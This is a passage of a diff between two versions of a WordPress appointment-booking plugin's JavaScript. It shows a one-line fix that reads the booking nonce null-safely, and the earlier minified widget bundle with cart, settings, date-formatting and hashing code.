—\",\"motopress-appointment\"),a=this.$defaultValuesCategory.val(),r=S(this.$defaultValuesService.val()),n=S(this.$defaultValuesEmployee.val()),o=S(this.$defaultValuesLocation.val()),l=this.availability.isAvailableService(r)?r:0,h=this.availability.isAvailableServiceCategory(a)?a:\"\",d=this.availability.isAvailableLocation(o)?o:0,p=this.availability.isAvailableEmployee(n)?n:0,u=0!==l?this.availability.getServiceCategories(l):this.availability.getAvailableServiceCategories(),m=this.availability.getAvailableServices(h,d,p),g=this.availability.getAvailableLocations(l,p),y=this.availability.getAvailableEmployees(l,d),v=Object.values(this.availability.getServiceCategoriesTree()),f=Object.keys(u);let b;if(0!==l){b=ke(Ce(v,f))}else b=null;const $=Pe(v,this.availability.categoryIndexes,b),I=this.availability.serviceIndexes.filter((e=>m.hasOwnProperty(e))).map((e=>({id:e,name:m[e]}))),w=this.availability.locationIndexes.filter((e=>g.hasOwnProperty(e))).map((e=>({id:e,name:g[e]}))),T=this.availability.employeeIndexes.filter((e=>y.hasOwnProperty(e))).map((e=>({id:e,name:y[e]})));Q(this.$defaultValuesCategory,{\"\":s},$,u.hasOwnProperty(h)?h:\"\"),Q(this.$defaultValuesService,{\"\":t},I,m.hasOwnProperty(l)?l:\"\"),Q(this.$defaultValuesLocation,{\"\":s},w,g.hasOwnProperty(d)?d:\"\"),Q(this.$defaultValuesEmployee,{\"\":s},T,y.hasOwnProperty(p)?p:\"\")}}}(wp.date,intlTelInput,mpaData)}();\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Felementor-widgets.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Felementor-widgets.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Felementor-widgets.js\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Felementor-widgets.js\t2026-06-30 15:16:08.000000000 +0000\n@@ -2161,6 +2161,7 @@\n \t   * @access protected\r\n \t   *\u002F\n \t  setupProperties() {\n+\t    var _mpaData$nonces$mpa_c;\n \t    \u002F**\r\n \t     * @since 1.0\r\n \t     * @var {Map}\r\n@@ -2200,7 +2201,7 @@\n \n \t    \u002F\u002F Later, StepPayment will replace the nonce with\n \t    \u002F\u002F \"mpa_create_booking_{$bookingId}\"\n-\t    this.bookingNonce = mpaData.nonces.mpa_create_booking;\n+\t    this.bookingNonce = (_mpaData$nonces$mpa_c = mpaData?.nonces?.mpa_create_booking) !== null && _mpaData$nonces$mpa_c !== void 0 ? _mpaData$nonces$mpa_c : ''; \u002F\u002F Missing for blocks\n \t  }\n \n \t  \u002F**\r\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Felementor-widgets.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Felementor-widgets.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Fassets\u002Fjs\u002Felementor-widgets.min.js\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Fassets\u002Fjs\u002Felementor-widgets.min.js\t2026-06-30 15:16:08.000000000 +0000\n@@ -1 +1 @@\n-!function(){\"use strict\";!function(e,t,s){function i(e){return e.filter(((e,t,s)=>s.indexOf(e)===t))}function a(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function r(e,t){let s=Math.min(e.length,t.length),i={};for(let a=0;a\u003Cs;a++)i[e[a]]=t[a];return i}function n(e,t,s=1){let i=s||1,a=Math.abs(Math.floor((t-e)\u002Fi))+1;return[...Array(a).keys()].map((t=>t*s+e))}let o=\"\u002Fmotopress\u002Fappointment\u002Fv1\";function l(e,t={},s=\"GET\"){return new Promise(((i,a)=>{wp.apiRequest({path:o+e,type:s,data:t}).done((e=>i(e))).fail(((e,t)=>{let s=\"parsererror\";s=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,\"parsererror\"==s&&(s=\"REST request failed. Maybe PHP error on the server side. Check PHP logs.\"),a(new Error(s))}))}))}function h(e,t={}){return l(e,t,\"GET\")}function c(e,t){return l(e,t,\"POST\")}class p{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:\"Appointment Booking\",today:\"2030-01-01\",business_name:\"\",default_time_step:30,default_booking_status:\"confirmed\",confirmation_mode:\"auto\",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:\"\",currency:\"EUR\",currency_symbol:\"&euro;\",currency_position:\"before\",decimal_separator:\".\",thousand_separator:\",\",number_of_decimals:2,timezone:\"UTC\",date_format:\"F j, Y\",time_format:\"H:i\",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:\"en\",enable_payments:!1,active_gateways:[],reservation_received_page_url:\"\",failed_transaction_page_url:\"\",default_payment_gateway:\"\"}}load(){return new Promise(((e,t)=>{h(\"\u002Fsettings\").then((e=>this.settings=e),(e=>console.error(\"Unable to load public settings.\",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t=\"\")=>e,g=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,s=\"\")=>e;\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u(\"Sun\",\"motopress-appointment\"),u(\"Mon\",\"motopress-appointment\"),u(\"Tue\",\"motopress-appointment\"),u(\"Wed\",\"motopress-appointment\"),u(\"Thu\",\"motopress-appointment\"),u(\"Fri\",\"motopress-appointment\"),u(\"Sat\",\"motopress-appointment\")],longhand:[u(\"Sunday\",\"motopress-appointment\"),u(\"Monday\",\"motopress-appointment\"),u(\"Tuesday\",\"motopress-appointment\"),u(\"Wednesday\",\"motopress-appointment\"),u(\"Thursday\",\"motopress-appointment\"),u(\"Friday\",\"motopress-appointment\"),u(\"Saturday\",\"motopress-appointment\")]},months:{shorthand:[u(\"Jan\",\"motopress-appointment\"),u(\"Feb\",\"motopress-appointment\"),u(\"Mar\",\"motopress-appointment\"),u(\"Apr\",\"motopress-appointment\"),g(\"May\",\"Month (short)\",\"motopress-appointment\"),u(\"Jun\",\"motopress-appointment\"),u(\"Jul\",\"motopress-appointment\"),u(\"Aug\",\"motopress-appointment\"),u(\"Sep\",\"motopress-appointment\"),u(\"Oct\",\"motopress-appointment\"),u(\"Nov\",\"motopress-appointment\"),u(\"Dec\",\"motopress-appointment\")],longhand:[u(\"January\",\"motopress-appointment\"),u(\"February\",\"motopress-appointment\"),u(\"March\",\"motopress-appointment\"),u(\"April\",\"motopress-appointment\"),g(\"May\",\"Month\",\"motopress-appointment\"),u(\"June\",\"motopress-appointment\"),u(\"July\",\"motopress-appointment\"),u(\"August\",\"motopress-appointment\"),u(\"September\",\"motopress-appointment\"),u(\"October\",\"motopress-appointment\"),u(\"November\",\"motopress-appointment\"),u(\"December\",\"motopress-appointment\")]},amPM:[\"AM\",\"PM\"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,s=\"public\"){if(\"string\"==typeof t)return t;if(\"internal\"==s)return f(t,\"Y-m-d\");if(\"public\"==s)return e.format(m().settings().getDateFormat(),t);let i=(e,t=2)=>(\"00\"+e).slice(-t),a=!1;return s.split(\"\").map((e=>{if(a)return a=!1,e;switch(e){case\"\\\\\":return a=!0,\"\";case\"j\":return t.getDate();case\"d\":return i(t.getDate());case\"D\":return y.weekdays.shorthand[t.getDay()];case\"l\":return y.weekdays.longhand[t.getDay()];case\"N\":return t.getDay()||7;case\"w\":return t.getDay();case\"z\":let s=new Date(t.getFullYear(),0,1),r=s.getTimezoneOffset()-t.getTimezoneOffset(),n=t-s+60*r*1e3,o=864e5;return Math.floor(n\u002Fo);case\"W\":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)\u002Fp+1)\u002F7);case\"F\":return y.months.longhand[t.getMonth()];case\"M\":return y.months.shorthand[t.getMonth()];case\"m\":return i(t.getMonth()+1);case\"n\":return t.getMonth()+1;case\"t\":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case\"Y\":return t.getFullYear();case\"y\":return String(t.getFullYear()).substring(2);case\"L\":return t.getFullYear()%4==0?1:0;case\"A\":return y.amPM[t.getHours()>11?1:0];case\"a\":return y.amPM[t.getHours()>11?1:0].toLowerCase();case\"H\":return i(t.getHours());case\"h\":return i(t.getHours()%12||12);case\"G\":return t.getHours();case\"g\":return t.getHours()%12||12;case\"i\":return i(t.getMinutes());case\"s\":return i(t.getSeconds());case\"v\":return i(t.getMilliseconds(),3);case\"u\":return i(t.getMilliseconds(),3)+\"000\";case\"O\":case\"P\":let d=-t.getTimezoneOffset(),m=d>=0?\"+\":\"-\",u=Math.floor(Math.abs(d)\u002F60),g=Math.abs(d)%60,b=\"O\"==e?\"\":\":\";return m+i(u)+b+i(g);case\"Z\":return 60*t.getTimezoneOffset();case\"U\":return Math.floor(t.getTime()\u002F1e3);case\"c\":return f(t,\"Y-m-d\\\\TH:i:sP\");case\"r\":return f(t,\"D, d M Y H:i:s O\");case\"S\":case\"o\":case\"B\":case\"e\":case\"T\":case\"I\":return\"\";default:return e}})).join(\"\")}function b(e){let t=e.match(\u002F(\\d{4})-(\\d{2})-(\\d{2})\u002F);if(null!=t){let e=parseInt(t[1]),s=parseInt(t[2]),i=parseInt(t[3]);return new Date(e,s-1,i)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function _(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,\"default\")?e.default:e}var S,P,w={exports:{}},C={exports:{}};S=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\u002F\",P={rotl:function(e,t){return e\u003C\u003Ct|e>>>32-t},rotr:function(e,t){return e\u003C\u003C32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&P.rotl(e,8)|4278255360&P.rotl(e,24);for(var t=0;t\u003Ce.length;t++)e[t]=P.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s\u003Ce.length;s++,i+=8)t[i>>>5]|=e[s]\u003C\u003C24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s\u003C32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join(\"\")},hexToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s\u003Ce.length;s+=3)for(var i=e[s]\u003C\u003C16|e[s+1]\u003C\u003C8|e[s+2],a=0;a\u003C4;a++)8*s+6*a\u003C=8*e.length?t.push(S.charAt(i>>>6*(3-a)&63)):t.push(\"=\");return t.join(\"\")},base64ToBytes:function(e){e=e.replace(\u002F[^A-Z0-9+\\\u002F]\u002Fgi,\"\");for(var t=[],s=0,i=0;s\u003Ce.length;i=++s%4)0!=i&&t.push((S.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)\u003C\u003C2*i|S.indexOf(e.charAt(s))>>>6-2*i);return t}},C.exports=P;var k=C.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(String.fromCharCode(e[s]));return t.join(\"\")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return\"function\"==typeof e.readFloatLE&&\"function\"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,s=I,i=T.bin,a=function(r,n){r.constructor==String?r=n&&\"binary\"===n.encoding?i.stringToBytes(r):t.stringToBytes(r):s(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m\u003Co.length;m++)o[m]=16711935&(o[m]\u003C\u003C8|o[m]>>>24)|4278255360&(o[m]\u003C\u003C24|o[m]>>>8);o[l>>>5]|=128\u003C\u003Cl%32,o[14+(l+64>>>9\u003C\u003C4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m\u003Co.length;m+=16){var b=h,v=c,_=p,S=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+_>>>0,d=d+S>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,s,i,a,r,n){var o=e+(t&s|~t&i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._gg=function(e,t,s,i,a,r,n){var o=e+(t&i|s&~i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._hh=function(e,t,s,i,a,r,n){var o=e+(t^s^i)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._ii=function(e,t,s,i,a,r,n){var o=e+(s^(t|~i))+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,w.exports=function(t,s){if(null==t)throw new Error(\"Illegal argument \"+t);var r=e.wordsToBytes(a(t,s));return s&&s.asBytes?r:s&&s.asString?i.bytesToString(r):e.bytesToHex(r)}}();var E=_(w.exports);class A{setupProperties(){this.itemId=\"\",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e=\"all\"){return\"ids\"===e?this.getIds():\"availability\"===e?this.getAvailableIds():\"period\"===e?{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\"}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\",capacity:this.capacity})}isSet(e=\"all\"){let t=!0;return\"all\"!==e&&\"ids\"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),\"all\"!==e&&\"period\"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,\"internal\")==f(e,\"internal\")&&this.time.toString(\"internal\")==t.toString(\"internal\")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return i(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case\"disabled\":default:t=e;break;case\"fixed\":t=this.service.depositAmount;break;case\"percentage\":t=e*this.service.depositAmount\u002F100}return t>e?e:t}getHash(e=\"all\"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t=\"all\"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){\"number\"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){\"number\"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e\u003C=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return\"\"!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t+1;return s\u003Cthis.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return\"\"!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return i(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return\"object\"==typeof e?0==function(e,t=!1){return\"object\"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e=\"\",t=!1){let s=function(e,t){return t\u003C(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join(\"0\")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let i=e;return i+=s(parseInt((new Date).getTime()\u002F1e3,10),8),i+=s(x.uniqid_seed,5),t&&(i+=(10*Math.random()).toFixed(8).toString()),i}class L{setupProperties(){this.items=new M,this.activeItem=null,this.customerDetails={name:\"\",email:\"\",phone:\"\"},this.paymentDetails={booking_id:0,gateway_id:\"none\"},this.coupon=null,this.bookingNonce=mpaData.nonces.mpa_create_booking}constructor(){this.setupProperties()}createItem(e=\"\"){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():\"\"}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem=\"string\"==typeof e?this.getItem(e):e}removeItem(e){\"string\"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e=\"all\"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),\"items\"===e?t.items:t}getHash(e=\"all\"){return E(\"order\"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t=\"all\"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=i(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class O{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class R extends O{setupProperties(){super.setupProperties(),this.name=\"\"}}class N extends O{setupProperties(){super.setupProperties(),this.name=\"\"}}class V extends 